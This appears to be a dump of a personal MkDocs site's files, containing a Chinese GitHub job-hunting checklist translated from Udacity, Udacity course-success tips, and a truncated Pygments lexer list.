\n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4\" id=\"__nav_4_label\" tabindex=\"0\">\n          Web\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Web\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../CDN/\" class=\"md-nav__link\">\n        CDN\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../cURL/\" class=\"md-nav__link\">\n        cURL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4_3\" id=\"__nav_4_3_label\" tabindex=\"0\">\n          Favorites\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_4_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Favorites\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../Favorites/\" class=\"md-nav__link\">\n        Favorites\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../GithubProjectRecommendation/\" class=\"md-nav__link\">\n        Github Project Recommendation\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../Links/\" class=\"md-nav__link\">\n        更多链接\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../Flask/\" class=\"md-nav__link\">\n        Flask\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../MySQL/\" class=\"md-nav__link\">\n        MySQL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../Nginx/\" class=\"md-nav__link\">\n        Nginx\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../RabbitMQ/\" class=\"md-nav__link\">\n        RabbitMQ\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_5\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_5\" id=\"__nav_5_label\" tabindex=\"0\">\n          Development\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_5_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_5\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Development\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../Developer/\" class=\"md-nav__link\">\n        Developer\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../Docker/\" class=\"md-nav__link\">\n        Docker\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../ETH/\" class=\"md-nav__link\">\n        ETH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../Git/\" class=\"md-nav__link\">\n        Git\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../Jekyll/\" class=\"md-nav__link\">\n        Jekyll\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../PaperReading/\" class=\"md-nav__link\">\n        Paper Reading\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../WindowsSoftware/\" class=\"md-nav__link\">\n        WindowsSoftware\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_6\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_6\" id=\"__nav_6_label\" tabindex=\"0\">\n          Fuzzing\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_6_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_6\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fuzzing\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../dfsan/\" class=\"md-nav__link\">\n        DFSan\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_7\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_7\" id=\"__nav_7_label\" tabindex=\"0\">\n          Fun\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_7_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_7\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fun\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../Bitcoin/\" class=\"md-nav__link\">\n        Bitcoin\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_8\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_8\" id=\"__nav_8_label\" tabindex=\"0\">\n          Linux\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_8_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_8\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Linux\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../Linux-backup/\" class=\"md-nav__link\">\n        Linux-backup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../Linux-setup/\" class=\"md-nav__link\">\n        Linux-setup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../Linux-SSH/\" class=\"md-nav__link\">\n        Linux-SSH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../Linux-cli/\" class=\"md-nav__link\">\n        Linux-cli\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../Linux-VirtualBox/\" class=\"md-nav__link\">\n        Linux-VirtualBox\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../Ubuntu/\" class=\"md-nav__link\">\n        Ubuntu\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_9\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_9\" id=\"__nav_9_label\" tabindex=\"0\">\n          My Projects\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_9_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_9\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          My Projects\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../zjugrshelper/\" class=\"md-nav__link\">\n        ZJU grs helper\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../../../ccfbadge/\" class=\"md-nav__link\">\n        CCF Badge\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n  </ul>\n</nav>\n                  </div>\n                </div>\n              </div>\n            \n            \n              \n              <div class=\"md-sidebar md-sidebar--secondary\" data-md-component=\"sidebar\" data-md-type=\"toc\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    一般性的\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    个人信息\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_3\" class=\"md-nav__link\">\n    项目\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n                  </div>\n                </div>\n              </div>\n            \n          \n          \n            <div class=\"md-content\" data-md-component=\"content\">\n              <article class=\"md-content__inner md-typeset\">\n                \n                  \n\n  \n  \n\n\n<h1 id=\"github\">Github 检查表 [求职向]<a class=\"headerlink\" href=\"#github\" title=\"Permanent link\">&para;</a></h1>\n<p>本文档翻译自Udacity课程资料，<a href=\"http://udacity.github.io/git-styleguide/\">原文在此</a></p>\n<h2 id=\"_1\">一般性的<a class=\"headerlink\" href=\"#_1\" title=\"Permanent link\">&para;</a></h2>\n<ol>\n<li>\n<p>我在Github上至少有4个自己的项目</p>\n</li>\n<li>\n<p>我有持续性地为项目作出提交</p>\n</li>\n<li>\n<p>至少两周每天都坚持提交，无论提交有多么小</p>\n</li>\n<li>\n<p>我参与过至少一个开源项目</p>\n</li>\n</ol>\n<h2 id=\"_2\">个人信息<a class=\"headerlink\" href=\"#_2\" title=\"Permanent link\">&para;</a></h2>\n<p>1.我有一个正式的github用户名，如有可能这个用户名就是我的名字</p>\n<p>2.我有正式的个人头像，建议使用自信阳光的个人照片</p>\n<p>3.URL、公司、邮箱部分等个人信息不为空且保持最新</p>\n<h2 id=\"_3\">项目<a class=\"headerlink\" href=\"#_3\" title=\"Permanent link\">&para;</a></h2>\n<p>1.我至少对我想关注的项目给出一个Star</p>\n<p>2.我的项目有一个合理的名称（可以在项目逇Settings中修改）</p>\n<p>3.我的项目有完整的README，说明创建这个项目的目的，使用这个项目的方法，寻求怎样的合作。(Fork的项目不需要修改README)</p>\n<p>4.项目的所有修改都要有提交信息来解释进行的修改</p>\n<p>5.遵循提交信息的风格，戳这里 -&gt; <a href=\"http://udacity.github.io/git-styleguide/\">http://udacity.github.io/git-styleguide/</a></p>\n\n\n\n\n\n                \n              </article>\n            </div>\n          \n          \n        </div>\n        \n      </main>\n      \n        <footer class=\"md-footer\">\n  \n  <div class=\"md-footer-meta md-typeset\">\n    <div class=\"md-footer-meta__inner md-grid\">\n      <div class=\"md-copyright\">\n  \n    <div class=\"md-copyright__highlight\">\n      <a href=https://beian.miit.gov.cn/>浙ICP备15043819号-2</a>&nbsp;&nbsp;<a target=_blank href=http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=33010602007826><img src=\"/assets/images/beian.png\" height=14px>浙公网安备 33010602007826号</p></a>\n    </div>\n  \n  \n    Made with\n    <a href=\"https://squidfunk.github.io/mkdocs-material/\" target=\"_blank\" rel=\"noopener\">\n      Material for MkDocs\n    </a>\n  \n</div>\n      \n    </div>\n  </div>\n</footer>\n      \n    </div>\n    <div class=\"md-dialog\" data-md-component=\"dialog\">\n      <div class=\"md-dialog__inner md-typeset\"></div>\n    </div>\n    \n    <script id=\"__config\" type=\"application/json\">{\"base\": \"../../..\", \"features\": [], \"search\": \"../../../assets/javascripts/workers/search.208ed371.min.js\", \"translations\": {\"clipboard.copied\": \"Copied to clipboard\", \"clipboard.copy\": \"Copy to clipboard\", \"search.result.more.one\": \"1 more on this page\", \"search.result.more.other\": \"# more on this page\", \"search.result.none\": \"No matching documents\", \"search.result.one\": \"1 matching document\", \"search.result.other\": \"# matching documents\", \"search.result.placeholder\": \"Type to start searching\", \"search.result.term.missing\": \"Missing\", \"select.version\": \"Select version\"}}</script>\n    \n    \n      <script src=\"../../../assets/javascripts/bundle.efa0ade1.min.js\"></script>\n      \n        <script src=\"../../../assets/js/instantclick.min.js\"></script>\n      \n        <script src=\"../../../assets/js/index.js\"></script>\n      \n    \n  </body>\n</html>"
  },
  {
    "path": "docs/doc/how_to_succeed.txt",
    "content": "来自Udacity课程字幕\r\n\r\n借在此进行小结的机会\r\n我想留给你一些有关如何成功完成此项目的最终提示\r\n第一 坚决遵守时间表\r\n定时修读课程和完成实战项目\r\n可帮助你有效进行学习和更快达到目标\r\n第二 正如我们的首批毕业生之一所说\r\n要坚持不懈地自己寻找答案\r\n在努力寻找答案的过程中可以学到最多东西\r\n如果遇到不理解的术语 花些时间理解它\r\n使用优达学城外部的资源补充学习内容\r\n和成为更独立的学习者很重要\r\n你要钻研课程\r\n例如在每天工作时阅读相关文档\r\n因此 在这里你要确保\r\n自己从一开始就觉得这样做很舒服\r\n第三 成为社区中的活跃分子\r\n另一位早期毕业生提出了这个忠告\r\n帮助其他学员\r\n这实际上也会巩固你的理解\r\n当然 如果你遇到难题\r\n也要利用可用的资源\r\n通过做到以上三点\r\n你将能积累专业知识和各种经验\r\n并且证明你具有巨大的推动力和职业道德\r\n对于你的加入 我们感到很开心\r\n我们还非常期待看到你利用在这里学到的知识做出一些成就\r\n"
  },
  {
    "path": "docs/doc/pygment_langs.txt",
    "content": "Pygments version 2.2.0, (c) 2006-2017 by Georg Brandl.\n\nLexers:\n~~~~~~~\n* abap:\n    ABAP (filenames *.abap, *.ABAP)\n* abnf:\n    ABNF (filenames *.abnf)\n* ada, ada95, ada2005:\n    Ada (filenames *.adb, *.ads, *.ada)\n* adl:\n    ADL (filenames *.adl, *.adls, *.adlf, *.adlx)\n* agda:\n    Agda (filenames *.agda)\n* aheui:\n    Aheui (filenames *.aheui)\n* ahk, autohotkey:\n    autohotkey (filenames *.ahk, *.ahkl)\n* alloy:\n    Alloy (filenames *.als)\n* ampl:\n    Ampl (filenames *.run)\n* antlr-as, antlr-actionscript:\n    ANTLR With ActionScript Target (filenames *.G, *.g)\n* antlr-cpp:\n    ANTLR With CPP Target (filenames *.G, *.g)\n* antlr-csharp, antlr-c#:\n    ANTLR With C# Target (filenames *.G, *.g)\n* antlr-java:\n    ANTLR With Java Target (filenames *.G, *.g)\n* antlr-objc:\n    ANTLR With ObjectiveC Target (filenames *.G, *.g)\n* antlr-perl:\n    ANTLR With Perl Target (filenames *.G, *.g)\n* antlr-python:\n    ANTLR With Python Target (filenames *.G, *.g)\n* antlr-ruby, antlr-rb:\n    ANTLR With Ruby Target (filenames *.G, *.g)\n* antlr:\n    ANTLR \n* apacheconf, aconf, apache:\n    ApacheConf (filenames .htaccess, apache.conf, apache2.conf)\n* apl:\n    APL (filenames *.apl)\n* applescript:\n    AppleScript (filenames *.applescript)\n* arduino:\n    Arduino (filenames *.ino)\n* as, actionscript:\n    ActionScript (filenames *.as)\n* as3, actionscript3:\n    ActionScript 3 (filenames *.as)\n* aspectj:\n    AspectJ (filenames *.aj)\n* aspx-cs:\n    aspx-cs (filenames *.aspx, *.asax, *.ascx, *.ashx, *.asmx, *.axd)\n* aspx-vb:\n    aspx-vb (filenames *.aspx, *.asax, *.ascx, *.ashx, *.asmx, *.axd)\n* asy, asymptote:\n    Asymptote (filenames *.asy)\n* at, ambienttalk, ambienttalk/2:\n    AmbientTalk (filenames *.at)\n* autoit:\n    AutoIt (filenames *.au3)\n* awk, gawk, mawk, nawk:\n    Awk (filenames *.awk)\n* basemake:\n    Base Makefile \n* bash, sh, ksh, zsh, shell:\n    Bash (filenames *.sh, *.ksh, *.bash, *.ebuild, *.eclass, *.exheres-0, *.exlib, *.zsh, .bashrc, bashrc, .bash_*, bash_*, zshrc, .zshrc, PKGBUILD)\n* bat, batch, dosbatch, winbatch:\n    Batchfile (filenames *.bat, *.cmd)\n* bbcode:\n    BBCode \n* bc:\n    BC (filenames *.bc)\n* befunge:\n    Befunge (filenames *.befunge)\n* bib, bibtex:\n    BibTeX (filenames *.bib)\n* blitzbasic, b3d, bplus:\n    BlitzBasic (filenames *.bb, *.decls)\n* blitzmax, bmax:\n    BlitzMax (filenames *.bmx)\n* bnf:\n    BNF (filenames *.bnf)\n* boo:\n    Boo (filenames *.boo)\n* boogie:\n    Boogie (filenames *.bpl)\n* brainfuck, bf:\n    Brainfuck (filenames *.bf, *.b)\n* bro:\n    Bro (filenames *.bro)\n* bst, bst-pybtex:\n    BST (filenames *.bst)\n* bugs, winbugs, openbugs:\n    BUGS (filenames *.bug)\n* c-objdump:\n    c-objdump (filenames *.c-objdump)\n* c:\n    C (filenames *.c, *.h, *.idc)\n* ca65:\n    ca65 assembler (filenames *.s)\n* cadl:\n    cADL (filenames *.cadl)\n* camkes, idl4:\n    CAmkES (filenames *.camkes, *.idl4)\n* capdl:\n    CapDL (filenames *.cdl)\n* capnp:\n    Cap'n Proto (filenames *.capnp)\n* cbmbas:\n    CBM BASIC V2 (filenames *.bas)\n* ceylon:\n    Ceylon (filenames *.ceylon)\n* cfc:\n    Coldfusion CFC (filenames *.cfc)\n* cfengine3, cf3:\n    CFEngine3 (filenames *.cf)\n* cfm:\n    Coldfusion HTML (filenames *.cfm, *.cfml)\n* cfs:\n    cfstatement \n* chai, chaiscript:\n    ChaiScript (filenames *.chai)\n* chapel, chpl:\n    Chapel (filenames *.chpl)\n* cheetah, spitfire:\n    Cheetah (filenames *.tmpl, *.spt)\n* cirru:\n    Cirru (filenames *.cirru)\n* clay:\n    Clay (filenames *.clay)\n* clean:\n    Clean (filenames *.icl, *.dcl)\n* clojure, clj:\n    Clojure (filenames *.clj)\n* clojurescript, cljs:\n    ClojureScript (filenames *.cljs)\n* cmake:\n    CMake (filenames *.cmake, CMakeLists.txt)\n* cobol:\n    COBOL (filenames *.cob, *.COB, *.cpy, *.CPY)\n* cobolfree:\n    COBOLFree (filenames *.cbl, *.CBL)\n* coffee-script, coffeescript, coffee:\n    CoffeeScript (filenames *.coffee)\n* common-lisp, cl, lisp:\n    Common Lisp (filenames *.cl, *.lisp)\n* componentpascal, cp:\n    Component Pascal (filenames *.cp, *.cps)\n* console, shell-session:\n    Bash Session (filenames *.sh-session, *.shell-session)\n* control, debcontrol:\n    Debian Control file (filenames control)\n* coq:\n    Coq (filenames *.v)\n* cpp, c++:\n    C++ (filenames *.cpp, *.hpp, *.c++, *.h++, *.cc, *.hh, *.cxx, *.hxx, *.C, *.H, *.cp, *.CPP)\n* cpp-objdump, c++-objdumb, cxx-objdump:\n    cpp-objdump (filenames *.cpp-objdump, *.c++-objdump, *.cxx-objdump)\n* cpsa:\n    CPSA (filenames *.cpsa)\n* cr, crystal:\n    Crystal (filenames *.cr)\n* crmsh, pcmk:\n    Crmsh (filenames *.crmsh, *.pcmk)\n* croc:\n    Croc (filenames *.croc)\n* cryptol, cry:\n    Cryptol (filenames *.cry)\n* csharp, c#:\n    C# (filenames *.cs)\n* csound, csound-orc:\n    Csound Orchestra (filenames *.orc)\n* csound-document, csound-csd:\n    Csound Document (filenames *.csd)\n* csound-score, csound-sco:\n    Csound Score (filenames *.sco)\n* css+django, css+jinja:\n    CSS+Django/Jinja \n* css+erb, css+ruby:\n    CSS+Ruby \n* css+genshitext, css+genshi:\n    CSS+Genshi Text \n* css+lasso:\n    CSS+Lasso \n* css+mako:\n    CSS+Mako \n* css+mako:\n    CSS+Mako \n* css+mozpreproc:\n    CSS+mozpreproc (filenames *.css.in)\n* css+myghty:\n    CSS+Myghty \n* css+php:\n    CSS+PHP \n* css+smarty:\n    CSS+Smarty \n* css:\n    CSS (filenames *.css)\n* cucumber, gherkin:\n    Gherkin (filenames *.feature)\n* cuda, cu:\n    CUDA (filenames *.cu, *.cuh)\n* cypher:\n    Cypher (filenames *.cyp, *.cypher)\n* cython, pyx, pyrex:\n    Cython (filenames *.pyx, *.pxd, *.pxi)\n* d-objdump:\n    d-objdump (filenames *.d-objdump)\n* d:\n    D (filenames *.d, *.di)\n* dart:\n    Dart (filenames *.dart)\n* delphi, pas, pascal, objectpascal:\n    Delphi (filenames *.pas, *.dpr)\n* dg:\n    dg (filenames *.dg)\n* diff, udiff:\n    Diff (filenames *.diff, *.patch)\n* django, jinja:\n    Django/Jinja \n* docker, dockerfile:\n    Docker (filenames Dockerfile, *.docker)\n* doscon:\n    MSDOS Session \n* dpatch:\n    Darcs Patch (filenames *.dpatch, *.darcspatch)\n* dtd:\n    DTD (filenames *.dtd)\n* duel, jbst, jsonml+bst:\n    Duel (filenames *.duel, *.jbst)\n* dylan-console, dylan-repl:\n    Dylan session (filenames *.dylan-console)\n* dylan-lid, lid:\n    DylanLID (filenames *.lid, *.hdp)\n* dylan:\n    Dylan (filenames *.dylan, *.dyl, *.intr)\n* earl-grey, earlgrey, eg:\n    Earl Grey (filenames *.eg)\n* easytrieve:\n    Easytrieve (filenames *.ezt, *.mac)\n* ebnf:\n    EBNF (filenames *.ebnf)\n* ec:\n    eC (filenames *.ec, *.eh)\n* ecl:\n    ECL (filenames *.ecl)\n* eiffel:\n    Eiffel (filenames *.e)\n* elixir, ex, exs:\n    Elixir (filenames *.ex, *.exs)\n* elm:\n    Elm (filenames *.elm)\n* emacs, elisp, emacs-lisp:\n    EmacsLisp (filenames *.el)\n* erb:\n    ERB \n* erl:\n    Erlang erl session (filenames *.erl-sh)\n* erlang:\n    Erlang (filenames *.erl, *.hrl, *.es, *.escript)\n* evoque:\n    Evoque (filenames *.evoque)\n* extempore:\n    xtlang (filenames *.xtm)\n* ezhil:\n    Ezhil (filenames *.n)\n* factor:\n    Factor (filenames *.factor)\n* fan:\n    Fantom (filenames *.fan)\n* fancy, fy:\n    Fancy (filenames *.fy, *.fancypack)\n* felix, flx:\n    Felix (filenames *.flx, *.flxh)\n* fish, fishshell:\n    Fish (filenames *.fish, *.load)\n* flatline:\n    Flatline \n* forth:\n    Forth (filenames *.frt, *.fs)\n* fortran:\n    Fortran (filenames *.f03, *.f90, *.F03, *.F90)\n* fortranfixed:\n    FortranFixed (filenames *.f, *.F)\n* foxpro, vfp, clipper, xbase:\n    FoxPro (filenames *.PRG, *.prg)\n* fsharp:\n    FSharp (filenames *.fs, *.fsi)\n* gap:\n    GAP (filenames *.g, *.gd, *.gi, *.gap)\n* gas, asm:\n    GAS (filenames *.s, *.S)\n* genshi, kid, xml+genshi, xml+kid:\n    Genshi (filenames *.kid)\n* genshitext:\n    Genshi Text \n* glsl:\n    GLSL (filenames *.vert, *.frag, *.geo)\n* gnuplot:\n    Gnuplot (filenames *.plot, *.plt)\n* go:\n    Go (filenames *.go)\n* golo:\n    Golo (filenames *.golo)\n* gooddata-cl:\n    GoodData-CL (filenames *.gdc)\n* gosu:\n    Gosu (filenames *.gs, *.gsx, *.gsp, *.vark)\n* groff, nroff, man:\n    Groff (filenames *.[1234567], *.man)\n* groovy:\n    Groovy (filenames *.groovy, *.gradle)\n* gst:\n    Gosu Template (filenames *.gst)\n* haml:\n    Haml (filenames *.haml)\n* handlebars:\n    Handlebars \n* haskell, hs:\n    Haskell (filenames *.hs)\n* haxeml, hxml:\n    Hxml (filenames *.hxml)\n* hexdump:\n    Hexdump \n* hsail, hsa:\n    HSAIL (filenames *.hsail)\n* html+cheetah, html+spitfire, htmlcheetah:\n    HTML+Cheetah \n* html+django, html+jinja, htmldjango:\n    HTML+Django/Jinja \n* html+evoque:\n    HTML+Evoque (filenames *.html)\n* html+genshi, html+kid:\n    HTML+Genshi \n* html+handlebars:\n    HTML+Handlebars (filenames *.handlebars, *.hbs)\n* html+lasso:\n    HTML+Lasso \n* html+mako:\n    HTML+Mako \n* html+mako:\n    HTML+Mako \n* html+myghty:\n    HTML+Myghty \n* html+ng2:\n    HTML + Angular2 (filenames *.ng2)\n* html+php:\n    HTML+PHP (filenames *.phtml)\n* html+smarty:\n    HTML+Smarty \n* html+twig:\n    HTML+Twig (filenames *.twig)\n* html+velocity:\n    HTML+Velocity \n* html:\n    HTML (filenames *.html, *.htm, *.xhtml, *.xslt)\n* http:\n    HTTP \n* hx, haxe, hxsl:\n    Haxe (filenames *.hx, *.hxsl)\n* hybris, hy:\n    Hybris (filenames *.hy, *.hyb)\n* hylang:\n    Hy (filenames *.hy)\n* i6t:\n    Inform 6 template (filenames *.i6t)\n* idl:\n    IDL (filenames *.pro)\n* idris, idr:\n    Idris (filenames *.idr)\n* iex:\n    Elixir iex session \n* igor, igorpro:\n    Igor (filenames *.ipf)\n* inform6, i6:\n    Inform 6 (filenames *.inf)\n* inform7, i7:\n    Inform 7 (filenames *.ni, *.i7x)\n* ini, cfg, dosini:\n    INI (filenames *.ini, *.cfg, *.inf)\n* io:\n    Io (filenames *.io)\n* ioke, ik:\n    Ioke (filenames *.ik)\n* irc:\n    IRC logs (filenames *.weechatlog)\n* isabelle:\n    Isabelle (filenames *.thy)\n* j:\n    J (filenames *.ijs)\n* jags:\n    JAGS (filenames *.jag, *.bug)\n* jasmin, jasminxt:\n    Jasmin (filenames *.j)\n* java:\n    Java (filenames *.java)\n* javascript+mozpreproc:\n    Javascript+mozpreproc (filenames *.js.in)\n* jcl:\n    JCL (filenames *.jcl)\n* jlcon:\n    Julia console \n* js+cheetah, javascript+cheetah, js+spitfire, javascript+spitfire:\n    JavaScript+Cheetah \n* js+django, javascript+django, js+jinja, javascript+jinja:\n    JavaScript+Django/Jinja \n* js+erb, javascript+erb, js+ruby, javascript+ruby:\n    JavaScript+Ruby \n* js+genshitext, js+genshi, javascript+genshitext, javascript+genshi:\n    JavaScript+Genshi Text \n* js+lasso, javascript+lasso:\n    JavaScript+Lasso \n* js+mako, javascript+mako:\n    JavaScript+Mako \n* js+mako, javascript+mako:\n    JavaScript+Mako \n* js+myghty, javascript+myghty:\n    JavaScript+Myghty \n* js+php, javascript+php:\n    JavaScript+PHP \n* js+smarty, javascript+smarty:\n    JavaScript+Smarty \n* js, javascript:\n    JavaScript (filenames *.js, *.jsm)\n* jsgf:\n    JSGF (filenames *.jsgf)\n* json-object:\n    JSONBareObject \n* json:\n    JSON (filenames *.json)\n* jsonld, json-ld:\n    JSON-LD (filenames *.jsonld)\n* jsp:\n    Java Server Page (filenames *.jsp)\n* julia, jl:\n    Julia (filenames *.jl)\n* juttle, juttle:\n    Juttle (filenames *.juttle)\n* kal:\n    Kal (filenames *.kal)\n* kconfig, menuconfig, linux-config, kernel-config:\n    Kconfig (filenames Kconfig, *Config.in*, external.in*, standard-modules.in)\n* koka:\n    Koka (filenames *.kk, *.kki)\n* kotlin:\n    Kotlin (filenames *.kt)\n* lagda, literate-agda:\n    Literate Agda (filenames *.lagda)\n* lasso, lassoscript:\n    Lasso (filenames *.lasso, *.lasso[89])\n* lcry, literate-cryptol, lcryptol:\n    Literate Cryptol (filenames *.lcry)\n* lean:\n    Lean (filenames *.lean)\n* less:\n    LessCss (filenames *.less)\n* lhs, literate-haskell, lhaskell:\n    Literate Haskell (filenames *.lhs)\n* lidr, literate-idris, lidris:\n    Literate Idris (filenames *.lidr)\n* lighty, lighttpd:\n    Lighttpd configuration file \n* limbo:\n    Limbo (filenames *.b)\n* liquid:\n    liquid (filenames 